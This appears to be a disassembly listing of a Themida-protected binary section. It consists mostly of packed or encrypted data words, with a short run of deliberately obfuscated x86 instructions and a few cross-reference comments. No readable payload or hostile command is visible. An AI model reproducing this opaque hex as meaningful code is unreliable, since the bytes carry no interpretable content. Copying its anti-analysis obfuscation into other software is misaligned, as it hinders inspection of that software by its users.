		dd 13AB436Bh, 3F7C5A67h, 9DBD2193h, 0FA4C6F67h,	6E545A22h
		dd 825806B4h, 0A6BF2B5Ah, 58F8D925h, 14Ch, 44A5136Fh, 29812D8Eh
		dd 0C434991h, 0C257E50Eh, 19E6EE9Ah, 0C8D302B9h, 8E65AD0Eh
		dd 0D9ED7534h, 8898C72Eh, 15D12BABh, 5EC3D4DCh,	0AC83CB63h
		dd 7C7D3E9Ch, 0AB15445Fh, 9CE389Eh, 0FE701CB4h,	9244F89Ah
		dd 0CC99D729h, 32F8D9D5h, 66h, 43A61349h, 707D2994h, 29C15962h
		dd 854C19E1h, 0FBC10534h, 0CFD1F1E7h, 0F8885FA7h, 8B32318h
		dd 0A1AD045Ch, 66D0FFE0h, 0F2683A20h, 0F89ABED1h, 0B15A7C49h
		dd 0F267C5ABh, 19B1D9D1h, 0DC8156Dh, 79A800ACh,	0A6AC026Fh
		dd 0D1F267C0h, 0CC14ACD4h, 0F26800C6h, 0F6FCD451h, 51F26810h
		dd 1264FC24h, 9734h, 0A5138B00h, 0F0ABB1F9h, 1C57E510h
		dd 0C7F22A45h, 3683DA2Dh, 69ED1CA1h, 2B31F941h,	58067D45h
		dd 957B8159h, 0A958067Ch, 50BAE981h, 0D6289343h, 32DEDDF9h
		dd 67E0BECh, 0C7836758h, 7E646A32h, 9258067Eh, 0A6303B6Ah
		dd 0D100CD15h, 83369BE8h, 0A46C4454h, 67DB89Eh,	75A4CC58h
		dd 951FD6Bh, 0F726973Ch, 0C6B5EBF1h, 41695E01h,	15C08D95h
		dd 71A0F8A4h, 9F4B7066h, 53EAA84Ah, 0EBF139E5h,	641DEFB5h
		dd 734110E7h, 94BE74A2h, 67B9E165h, 0A714C28Fh,	8D74A3FBh
		dd 0B1F9A513h, 0ED3075ABh, 0FCDAA757h, 0BDC52400h, 42DAA646h
		dd 8B0F3E96h, 0F3E325AEh, 2C8430C8h, 0FBDBE894h, 27AB78C0h
		dd 6190E894h, 26AC7951h, 2E8F4895h, 0D9E2F4FFh,	0F61EE72Dh
		dd 94F823AAh, 23983EF6h, 29E2F4D1h, 0D6755B61h,	6189A40Ch
		dd 0CD5F5DBh, 99E109A4h, 0CD5AD93h, 199C1A4h, 58804D55h
		dd 0A82D3867h, 6E106511h, 0FDBE182Ch, 0B308CEABh, 3F907h
		dd 0E4500000h, 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h
		dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h,	64597A87h
		dd 895133B8h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 5ECA73D4h
		sub	ebp, 268F78ABh
		sub	ebp, 321ED1AFh
		mov	ecx, ebp
		pop	ebp
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	15F3h
		mov	[esp], ecx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dw 0B829h
		dd 61C2E6Bh, 0E0FFC503h, 36D8DC72h, 3B342C63h, 42458406h
		dd 71C01299h, 3E47FF9Bh, 129B4369h, 4CCB3FEBh, 3AD58298h
		dd 67EC0100h, 5E9293AAh, 1B2916E1h, 58E297ABh, 2318F1ABh
		dd 189BFE5h, 20DB2BE3h,	10B35351h, 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0B5C35242h, 0F9EF1B1h, 687h, 5950100h, 8306142Bh
		dd 1430B1BDh, 9750006h,	1AE1BD83h, 74000614h, 8B535019h
		dd 42DB8C0h, 85890000h,	6141A49h, 0B73A9D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6141AE1h, 50177400h, 42DB853h, 85890000h
		dd 6141A49h, 0B4299D8Dh, 0D3FF0616h, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D2974C3h
		dd 6140791h, 1BED958Bh,	0C08B0614h, 0E5B58BF9h,	8B061422h
		dd 1401B98Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0ACCC43ACh, 0A975BA66h, 7DB50360h
		dd 0F061421h, 48Dh, 0BCBA6600h,	0F9836104h, 69840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 35ABC352h, 25298D01h, 8B640614h
		dd 2C3Dh, 5850F00h, 0BA000000h,	6A3F0B6Fh, 0FF0BF78Bh
		dd 2A840Fh, 0F560000h, 685h, 0A19D2900h, 5E06140Ch, 85313F8Bh
		dd 61425BDh, 0DF2CBE66h, 950BC032h, 6140869h, 0B509AAF3h
		dd 614321Dh, 50414935h,	85B53353h, 0C6061434h, 141A5985h
		dd 958B4706h, 61402F1h,	295F168h, 240481A4h, 38D3F23Bh
		dd 0B5FFD08Ah, 6141AD1h, 14E960h, 0A3E30000h, 0FD6C201Eh
		dd 5FAF1EB8h, 1CA7BA27h, 0C4FFA4F4h, 8D61B42Fh,	1780DB85h
		dd 25BD2906h, 0FF061432h, 0AFDE81D0h, 891FD409h, 140C9185h
		dd 15B58906h, 0C6061424h, 141A5985h, 958B5306h,	61421B1h
		dd 7192B468h, 0FE927h, 791E0000h, 0A8C983FFh, 730F2D04h
		dd 7BD81417h, 2404810Dh, 6126D848h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 73C35040h, 4A9630Bh, 0FFD375DCh
		dd 141AD1B5h, 0D38B6606h, 80DB858Dh, 8D890617h,	6142369h
		dd 0BA66D0FFh, 0F6070D6h, 8D8BFAB7h, 6142431h, 6858D61h
		dd 8B06173Eh, 258589D6h, 89061435h, 142B3D9Dh, 0DEE68006h
		dd 0FF6A206Ah, 352595FFh, 49350614h, 0C7535041h, 1403D985h
		dd 106h, 0FD85C700h, 61429h, 6A000000h,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0C552C355h
		dd 764AD0A8h, 8589534Fh, 6140061h, 0C995235Ah, 0F9061421h
		dd 1CB1858Bh, 0F08B0614h, 0A364h, 83F50000h, 142309BDh
		dd 840F0006h, 5Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0EFC35242h, 7131B470h, 9600D42Ch, 66F28166h
		dd 13830F3Eh, 0E8000000h, 7, 1BF4111Ch,	89B0D5F4h, 14223D85h
		dd 858B5E06h, 6142189h,	68F0Fh,	95330000h, 6142AF1h, 958BE08Bh
		dd 6140FEDh, 3DBD83h, 0F000614h, 46F85h, 38E0F00h, 66000000h
		dd 85C6F08Bh, 6141A59h,	53006A56h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0C0E02817h, 513411DCh
		dd 0E8D68B66h, 4, 0A9C530DFh, 6E9h, 716EB300h, 504A5173h
		dd 14E9h, 47D16400h, 5F4A2B40h,	0DB7AF828h, 75DD9E18h
		dd 85BCF94Ah, 24448B89h, 0DDBA6604h, 0F008B79h,	1288h
		dd 0AE85600h, 29000000h, 0B1EE9535h, 61C56554h,	895A5EE2h
		dd 66042444h, 5821BEBEh, 1AD1B5FFh, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 6AB16CC3h
		dd 858D4C00h, 61780DBh,	8E0F53h, 5E000000h, 7E9D0FFh, 39000000h
		dd 2B7DFB62h, 50900671h, 66525060h, 310FF18Bh, 9061585Ah
		dd 1D618531h, 8D8D0614h, 6140095h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0AAC35545h,	15C68166h, 0BE6650E4h
		dd 0C898DD0h, 52006A24h
		db 0E8h, 3
word_5CBF6A	dw 0			; DATA XREF: Themida_:005497DCo
					; Themida_:00549AC0o ...
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 8589F588h, 6142E61h,	30DAFDBEh, 6A046A5Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F72C356h, 380h, 0D1BF0F00h,	0BE9h, 0DD975B00h, 0DC119474h
		dd 0E641CDF0h, 0C47AED68h, 8B6651F0h, 4815ED3h,	3B951324h
		dd 57006A0Fh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 51D39635h, 0E9F0492Ah, 9, 9C6AD33h, 1DD51B43h
		dd 0F9B5FFF0h, 6A061424h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0CCF6C357h,	0D0FFC411h
		dd 1A31BD89h, 0BD8B0614h, 61424F9h, 0B58B5150h,	6141DADh
		dd 7F035E5Eh, 39BD893Ch, 81061405h, 0F8C7h, 79B58B00h
		dd 0C7061414h, 202447h,	5E506000h, 2F3FBD83h, 0F00061Ch
		dd 16E84h, 0AE800h, 0F3F50000h,	4670AEBh, 62880C82h, 0BE8h
		dd 7F53A300h, 1B4CEA2Ch, 47AEF8ECh, 5A5E6160h, 6028C783h
		dd 0BC99589h, 10E80614h, 0ED000000h, 0F4C2B7B6h, 55C5D1F2h
		dd 78EC9BD6h, 0F21B27Ch, 615FF2B7h, 6A2E07C7h, 6A6469h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0DF3B7AC3h, 0BE66DDA1h, 47C735D8h, 61746104h, 858BF500h
		dd 61C2F47h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	8CC35545h, 89F8C030h, 958B0C47h, 61410D5h, 2F4B858Bh
		dd 4789061Ch, 0C99D8908h, 83061414h, 0BA5728C7h, 61EC3FDBh
		dd 2E07C75Eh, 6A6E6F63h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 8BA3C353h, 0F6816680h
		dd 47C7BC15h, 67696604h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 8A3B2716h, 0F63C3566h
		dd 8166162Fh, 33E346CEh, 14151DB5h, 43858B06h, 89061C2Fh
		dd 140A099Dh, 0F1858906h, 8906142Ah, 0BE660C47h, 858B0392h
		dd 61C2F3Fh, 0DE9h, 5A60AB00h, 0CDFB0EFh, 8D88BDD7h, 47897B30h
		dd 0E9606008h, 0Bh, 88D4749Dh, 5D5B743Ah, 89D093DFh, 140D5DBDh
		dd 58616106h, 5E8h, 3D768800h, 9D898D1Fh, 6140BFDh, 658D8D5Ah
		dd 33061426h, 141AA9B5h, 0BE669106h, 0BA509DA2h, 22CC728Eh
		dd 0BD952B91h, 60061425h, 1D9D2950h, 5F061408h,	0B5FF61FCh
		dd 6140095h, 12E9h, 0D95CD200h,	1FF2827Ah, 0C463B828h
		dd 0F9F7E443h, 68C58D67h, 946CAA3Bh, 481F48Ah, 9365C524h
		dd 55006A6Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0C32F6977h, 0E5973316h, 81666617h, 0FF0771EEh
		dd 1424F9B5h, 9830F06h,	60000000h, 38437EBEh, 6159513Dh
		dd 1031958Bh, 0D0FF0614h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 48C35040h, 0E9C18147h, 0Eh, 8766BC04h
		dd 0CB913BE4h, 0A59EF037h, 0BD89C1D0h, 6142E79h, 0B8h
		dd 0DE816600h, 5660570Eh, 15958Bh, 895E0614h, 1430AD8Dh
		dd 0C00B6106h, 4C840Fh,	958B0000h, 61424F5h, 71FFDA81h
		dd 0B5FF14CEh, 6140299h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 7FC35646h, 137621Dh, 0FDB52960h, 1061410h
		dd 142B81BDh, 95FF6106h, 6142361h, 2D1B58Bh, 0C08B0614h
		dd 2820Fh, 0ECB60000h, 30B1BD83h, 75000614h, 0E1BD8309h
		dd 6141Ah, 53501974h, 2DB8C08Bh, 89000004h, 1430C185h
		dd 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh, 17740006h
		dd 2DB85350h, 89000004h, 1430C185h, 429D8D06h, 0FF0616B4h
		dd 0F585BD3h, 283h, 0BAF28B00h,	316772C0h, 12797DBAh, 6AC08B27h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C9D5C355h, 6B26C1FAh, 0E9845BEh,	0AD952B61h
		dd 8B06140Bh, 0BC8D8DC0h, 66061C38h, 54B8C38Bh,	89295507h
		dd 1432298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0B5DB1D2Eh, 8B66F261h, 4D85C7D0h
		dd 0E8061406h, 6A000072h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0A828C350h,	0BFCE8166h
		dd 7185C71Ah, 61426h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 47D6C351h, 8B52AFB2h
		dd 0B5FF5AFEh, 61406A5h, 95FF9DB2h, 6142361h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EC35040h, 9EE75DB3h
		dd 52152892h, 0C49958Bh, 858B0614h, 61405D9h, 95FF006Ah
		dd 6141169h, 1EEBC08Bh,	0D097786Dh, 7E19B5A3h, 0BC0B4EA1h
		dd 0BF8E74BFh, 54C95716h, 0FB315E7Dh, 0ADB47C7Ah, 8D8DD9B1h
		dd 61C39E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	41C35545h, 8D89E901h, 6143229h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 1EC35343h, 0C151AB7h
		dd 85895985h, 6141BC9h,	64D85C7h, 5CEC0614h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0C70A27C3h, 14267185h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0FA52A1DAh
		dd 0ED958B50h, 5F061400h, 2319B5FFh, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1EFCC3C3h
		dd 0E94DD54Bh, 8, 413C6E04h, 8D0EF047h,	236195FFh, 12E90614h
		dd 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h, 2F8A088h
		dd 0FF006AAAh, 14116995h, 0EBC08B06h, 0BADE261Eh, 2FD27E58h
		dd 8FD37432h, 0D998FA76h, 0EDE1140Eh, 4556E474h, 0D88EB7A2h
		dd 0E8BC6AA5h, 12h
dword_5CC5E8	dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 0C6653726h, 8D8B5B71h
					; DATA XREF: Themida_:0054ACA0o
		dd 6142CF5h, 0C1BD895Fh, 81061420h, 595DC7h, 68F0F00h
		dd 29000000h, 1405FD9Dh, 8BDB2B06h, 0B70F1F14h,	0CCEA81CFh
		dd 293C6A2Ah, 1434E9B5h, 0F8F28106h, 661BE0E5h,	811B58B9h
		dd 0DAAF8EC2h, 1DF48023h, 0F1F1489h, 28Eh, 0F9F08B00h
		dd 7E06EB81h, 81667D42h, 818CDDF1h, 427E02C3h, 7D858B7Dh
		dd 81061434h, 0FFA72CFBh, 0AC850FFFh, 89FFFFFFh, 14192D9Dh
		dd 0E900EB06h, 41Bh, 40922DAFh,	0FB4D7063h, 0B507B41Eh
		dd 6ABCFDD8h, 21734A8Dh, 0F7E0D0E8h, 3A9774C6h,	88502D7Fh
		dd 0CE08E537h, 78F9BEDh, 0E221B01h, 0CD342F58h,	0B4FCC112h
		dd 0BC16EEE7h, 63BB67FFh, 8B472434h, 0D401DE30h, 8D09DE5h
		dd 9B7888B7h, 572F813Ch, 0C5243C80h, 8AB9A467h,	1365587Fh
		dd 0D61E9B36h, 6322080Eh, 0E3651F2h, 0E6F2CFDFh, 2CAA87D9h
		dd 403E67D0h, 0BB53A7F3h, 0E5429C73h, 0EA6CDAA3h, 1C95ABBBh
		dd 0C057EACFh, 0DDDEF851h, 8B12431h, 0DEF7C45Ch, 3FAD89DBh
		dd 0A641478Fh, 145E00E2h, 0FDCA4ECh, 886EF4C7h,	9C5E21C2h
		dd 95DB4574h, 5E21C2B3h, 74209938h, 0A14D7067h,	0E8C9896Dh
		dd 4843FF21h, 0F2BE171Dh, 137E1h, 0C512F800h, 923F4CF8h
		dd 636E7B27h, 0BA42BE56h, 9861BF2h, 38DC9867h, 92D3C509h
		dd 0A67D51F2h, 0A62B2DC0h, 14B2BC13h, 173FC3F2h, 43785E6Bh
		dd 0F9C214F1h, 777D454Dh, 51F2BB91h, 444E7DA5h,	1AE22AD6h
		dd 0F2BC2E14h, 0EB1A4251h, 0E0F4DFE5h, 0A98057E5h, 0D0A6F24Bh
		dd 229D3BF3h, 57861E76h, 0AAFFABD3h, 24B24A08h,	81874F97h
		dd 5806569Bh, 5741272Dh, 2D555806h, 103F67h, 407B5B28h
		dd 30DCDFF3h, 319FA9D8h, 0C83F458Dh, 0FE5DF9A7h, 5C08B721h
		dd 0D0B6BC04h, 0E45E1A86h, 0FDC24BCh, 0F34BF7C2h, 8A4D5AC4h
		dd 0D304E133h, 731F9E35h, 0CBD7831Bh, 6268B05Eh, 5E1A874Ch
		dd 5665713Eh, 0D20552AAh, 1038BCEBh, 0E0DBFBC8h, 9DADDC34h
		dd 63AB53C1h, 0DA5365Dh, 0F8A4CC64h, 7D5B28F0h,	0A5D6BC42h
		dd 0C2EA642Eh, 6E4F8893h, 816D441Ch, 2C2D6084h,	5C7B86B5h
		dd 3CA9B561h, 1E484E96h, 28642EE3h, 7B3E9360h, 2EE40FF5h
		dd 6BFB9264h, 0C6F12E28h, 8A90D800h, 642E57A4h,	0DD6190B8h
		dd 0BE8B63B5h, 34BA217h, 6037E262h, 3E99A4D3h, 88552D7Fh
		dd 5B42714Ah, 0B1F9A513h, 0E534C8ABh, 0DCF9D657h, 8C9945DDh
		dd 11F714Ah, 9A48B564h,	0BC16E3F9h, 0AA8CD0FFh,	2F580614h
		dd 0E5C214A7h, 111ECAF1h, 0D84AF6C5h, 5B23D674h, 6156F55h
		dd 0E6D7FC58h, 0BEC9F820h, 845BA318h, 4EB6E255h, 0A3B3E2EAh
		dd 0D9AC0065h, 90965EF8h, 580639AAh, 16796BEh, 3Dh, 0F9A51318h
		dd 0CC0ABB1h, 0A6CE57E5h, 242AF2FAh, 58060D3Eh,	0EFB508CBh
		dd 4BDBAA08h, 0C55D5EFFh, 704B8B96h, 787E461Eh,	58067492h
		dd 0E2C8CEA6h, 0F6580674h, 0FB0736CEh, 20h, 494F1752h
		dd 51F1E863h, 0ED4E5F0h, 29ACB7E6h, 5DCE490h, 155614BBh
		dd 535E8D35h, 2DE63883h, 0A4F6C312h, 8E431098h,	0F8277F2Bh
		dd 0E7F2ECF2h, 0D49C51F1h, 41EDD007h, 0E87D63E9h, 699151F1h
		dd 5602BB1Ch, 234BCFFEh, 4F6C6A77h, 0EEAC4EA3h,	0AD79F27h
		dd 0EE46F2C7h, 0E7817BBFh, 0D0AD51F1h, 0E7D80006h, 9F4BE33Bh
		dd 9F67AF47h, 4C25ABC8h, 9384198h, 0F287DFC5h, 79CBF351h
		dd 0F9C23A9Ch, 9E088A91h, 44DCDFF3h, 14365AACh,	2EDFh
		dd 4A173600h, 957B818Eh, 0A951F1E7h, 0AFBAE981h, 0DBE89427h
		dd 966EC0FBh, 0FC0209C9h, 51F1E816h, 0BE6A022Ah, 0F8090F66h
		dd 67DDCFD8h, 1298FF38h, 3C49F5CAh, 6875219Ah, 96A34F70h
		dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h
		dd 33B86459h, 524468h, 240C8900h, 0C181E189h, 4, 8704E983h
		dd 575C240Ch, 0C781E789h, 4, 8704EF83h,	895C243Ch, 2568240Ch
		dd 8900005Bh, 0BA522434h, 72F17050h, 2ACA4DB9h,	8BD10193h
		dd 0C4812414h, 4, 24348B54h, 5104C483h,	78240481h, 8F3B0E16h
		dd 0BA520846h, 3B0E1678h, 5A085629h, 5324348Bh,	0C381E389h
		dd 4, 8704C383h, 8B5C241Ch, 8950240Ch, 405E0h, 4050000h
		dd 87000000h, 0E95C2404h, 0FFF83F6Fh, 2DB8B21Dh, 0B85E76FBh
		dd 61C3E21h, 0E0FFC503h, 6F2A95C4h, 10B1D3D6h, 50D44FB4h
		dd 4B9BDA0Fh, 30501610h, 361198F1h, 40CDC3AFh, 98C2EC8h
		dd 5E2737A6h, 43EB9BEh,	0AE956h, 65020000h, 89C4D1E3h
		dd 52D36973h, 0E8D3BF0Fh, 6, 802570E6h,	5AF9BCC0h, 0E9F78B66h
		dd 0Eh,	0E1BB654Ah, 7B77AD4Ah, 62834242h, 12E9DFADh, 0C000000h
		dd 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h, 8B0F52F0h
		dd 2, 0F58FA8Bh, 8B66DFBFh, 0A880FCBh, 0E9000000h, 5, 0F71B15A3h
		dd 0CE976h, 28190000h, 3CA4E3E2h, 0D02ADD7h, 0F604F81h
		dd 181h, 0BE60F800h, 1B3E0A43h,	0B1ACF81h, 616117B3h, 18A0Fh
		dd 0E8F90000h, 11h, 1C905B89h, 82F6B98Fh, 25280296h, 69E46D48h
		dd 14810F2Eh, 0E9000000h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h
		dd 5A87C9F8h, 0C28177B0h, 1B4B5985h, 32E9B866h,	0E9D2B70Fh
		dd 6, 9B916B4Eh, 0D281AAE1h, 4A0D4FE2h,	9E38166h, 8E997h
		dd 0FA650000h, 3BD50175h, 0EF809F40h, 0E974B56Ah, 0Bh
		dd 740D4774h, 547E02C4h, 0F1B55C8h, 684h, 830F00h, 66000000h
		dd 0FC0531BBh, 81C4F780h, 5FDA60C1h, 58C28124h,	0E921843Fh
		dd 14h,	4DA50DFEh, 50AD6D73h, 578BA8D6h, 0F4805964h, 6FBFDD38h
		dd 10E9h, 0B0425100h, 81E395A8h, 72B95345h, 465D2035h
		dd 0CABF0F0Ah, 0B79FBF66h, 12E9h, 88E14900h, 0E6B1B0A1h
		dd 25238E10h, 0D0636451h, 807DEA3Fh, 0BA66D9EDh, 0B70F566Eh
		dd 816660CBh, 803253CBh, 8B6100C7h, 8B6057CEh, 0CE8D3h
		dd 0E52E0000h, 17644588h, 6B3423CFh, 61597977h,	0F181665Fh
		dd 0EE9C1A2h, 53000000h, 0F92FBF9Dh, 8268286Fh,	2EEE8888h
		dd 15800F6Eh, 0E9000000h, 10h, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h
		dd 5BA8461Bh, 667ED080h, 565F281h, 0D38A5151h, 0BF0F585Fh
		dd 87CF81CEh, 0F51B22Dh, 870FC0B7h, 3, 0E9F38B66h, 8, 0A9208144h
		dd 0D4E958EBh, 5D08ACBBh, 0B966F85Eh, 0B866423Fh, 12E91091h
		dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h,	3E243EFAh
		dd 0CBBF0FAEh, 81F7BF0Fh, 8E96DBCEh, 8B66601Dh,	0C28061F3h
		dd 7BBF660Ch, 9E9EFh, 0B6CF0000h, 92D9C421h, 0F532CEE9h
		dd 0E245DA81h, 0D08107E9h, 52D65A26h, 10860Fh, 8E80000h
		dd 49000000h, 0F675115Fh, 8AE1FB36h, 90BF5ADDh,	0E9339508h
		dd 0Bh,	0A815DE1Bh, 0F3F08240h,	0E91DD274h, 9, 47BB9398h
		dd 113B49Ah, 0AE9CBh, 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah
		dd 0E9F08BF8h, 13h, 9E93CD5Ah, 7372B7E6h, 9FD14C28h, 73F0020Eh
		dd 6670E526h, 19B3D68Bh, 0DE8h,	0CCB77000h, 773C44E0h
		dd 88A07890h, 0E68A1536h, 0C6BF0F5Fh, 0E9F6BF0Fh, 0Ch
		dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 0AC50FBFh, 0DF816658h
		dd 0BE660368h, 8B667C59h, 0AE9C2h, 0EDC40000h, 459B099h
		dd 277F148Ch, 0D8B0Fh
		dd 8E90000h, 21000000h,	0E2B44B2Fh, 0B6518137h,	10E982h
		dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0F1813DDCh
		dd 5E299C1Fh, 0D5B7BA66h, 6657F3B1h, 5FD81ABFh,	0BE9h
		dd 376D600h, 0FC6F8DC1h, 29C9C20Ah, 0DE960h, 0D4E90000h
		dd 9B8DB5AFh, 0A592DDFDh, 66CFBD9Ch, 61C9BAB9h,	0F3816660h
		dd 0E95072CFh, 5, 8D448FF1h, 0F86159B4h, 74F18166h, 0F28151B8h
		dd 491DE5FAh, 7E959h, 905F0000h, 85FD1350h, 16D48020h
		dd 0C21ABA66h, 9E8h, 1BA6E300h,	0CFC0696Eh, 0C38102B2h
		dd 78E9B0CEh, 0BF0F5258h, 0DE958D9h, 0D4000000h, 4852EFCCh
		dd 0F41B4C0h, 86C660E7h, 32BB6651h, 0E8805ADEh,	88BBF85Fh
		dd 8042785Eh, 8B6630E6h, 8A0FC1h, 66000000h, 940EC181h
		dd 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h, 0F944956h
		dd 80h,	81665800h, 0F4800C0h, 0BF66F3B7h, 11E99FF1h, 0AF000000h
		dd 595516CDh, 3A629E37h, 747FEBE6h, 0BC8917CEh,	93D18052h
		dd 0DD0B85Eh, 0EE97C27h, 7000000h, 0A102B943h, 0E81108AAh
		dd 693B5CD4h, 0F28B664Bh, 0B40EE780h, 6860F6Eh,	81000000h
		dd 632455DAh, 88EA8031h, 5840Fh, 0D2BB0000h, 601C827Ah
		dd 8A11B866h, 11E9h, 0AE078E00h, 0BECD47B4h, 86B0C0E4h
		dd 0D7B2A24Eh, 666180D3h, 0F174BBAh, 5251F3BFh,	7E8h, 5ABECB00h
		dd 348099DDh, 0B95F5B59h, 31AEAA49h, 880FE5B0h,	2, 12E9FB8Bh
		dd 0CC000000h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch
		dd 0F8F9601Ch, 92B86661h, 12E847h, 64E10000h, 51537D33h
		dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 0EFF28166h, 0BE95B7Ah
		dd 0F4000000h, 0C7BC7346h, 45F3EF73h, 0CB8BBEBDh, 5E40EE81h
		dd 0BF0F2793h, 5EF857D2h, 8A5F57F8h, 4EF680EFh,	0E9D3BF0Fh
		dd 10h,	0B10DB2F0h, 0B0D30739h,	6F29DFB3h, 0D7CE3498h
		dd 9E9FCFCh, 19000000h,	3B1720AFh, 98D6C09Ah, 2870Fh, 0E38A0000h
		dd 14E9h, 899D500h, 0D2619536h,	0D1A3CC68h, 7D604404h
		dd 722AE0F2h, 7E948h, 4DA40000h, 0B929317Ch, 0A7BA6678h
		dd 0FE90Fh, 10490000h, 0AE72C8ABh, 1F5C18F9h, 0BEE0C6D2h
		dd 8B575281h, 0E95F5BDEh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh
		dd 0F5BDF9CDh, 0EE9h, 243BE900h, 9A350C25h, 72215CBAh
		dd 0F588A4Dh, 382h, 0D6BF0F00h,	8B6624B2h, 7E8C3h, 0E3BE0000h
		dd 1071CDA0h, 0F08B66E3h, 53F5605Ah, 8F0Fh, 615A0000h
		dd 0DE9h, 1176C400h, 0CD433B4Eh, 640AD6E2h, 8166E0A2h
		dd 661260F3h, 660C10BBh, 8849DA81h, 66F78B66h, 0D081DE8Bh
		dd 2AFC6319h, 18F0Fh, 80F90000h, 0C28B26C8h, 7490D981h
		dd 0CC804C34h, 8E8F9h, 0A2CD0000h, 8087022Fh, 0B8BFB1D2h
		dd 5B1D25DAh, 0FD78B66h, 18Dh, 0CB8BF900h, 2ED68166h, 8A0F608Dh
		dd 3, 8080CA80h, 0F6108D9h, 8B66C2BFh, 0B96660C8h, 0CBA43C2h
		dd 614D76F0h, 0D38B6660h, 14E960h, 89050000h, 828D5252h
		dd 0EFBF5DFBh, 5885250Fh, 204E7B3h, 0FE8FC3Eh, 4000000h
		dd 0CF5DCBC7h, 61A25769h, 0F44F30E1h, 615AB7A9h, 78BA6661h
		dd 0F1BF0F12h, 0C16EBE66h, 28B0Fh, 0BEB60000h, 0E9F28B66h
		dd 0Ah,	90E28FFFh, 2D7474FDh, 880F613Fh, 3, 0F560C780h
		dd 19840Fh, 6E80000h, 0D9000000h, 0E1CF4535h, 7E896h, 935B0000h
		dd 549C066Ch, 0E95E5E66h, 0Dh, 7F480798h, 1451B5CBh, 2183D7E2h
		dd 80C18B4Fh, 0F38114D8h, 199A0F51h, 0FE960h, 3E6D0000h
		dd 977456B5h, 0F33D422Ch, 282A5613h, 0E961F89Dh, 5, 0A276A784h
		dd 0E081664Ah, 0CE9F684h, 4E000000h, 70E7DF51h,	0B69EE33Ch
		dd 0E980B1E2h, 0Ch, 6D7F9AE8h, 1E559D01h, 26D4BA62h, 0DE8CA8Bh
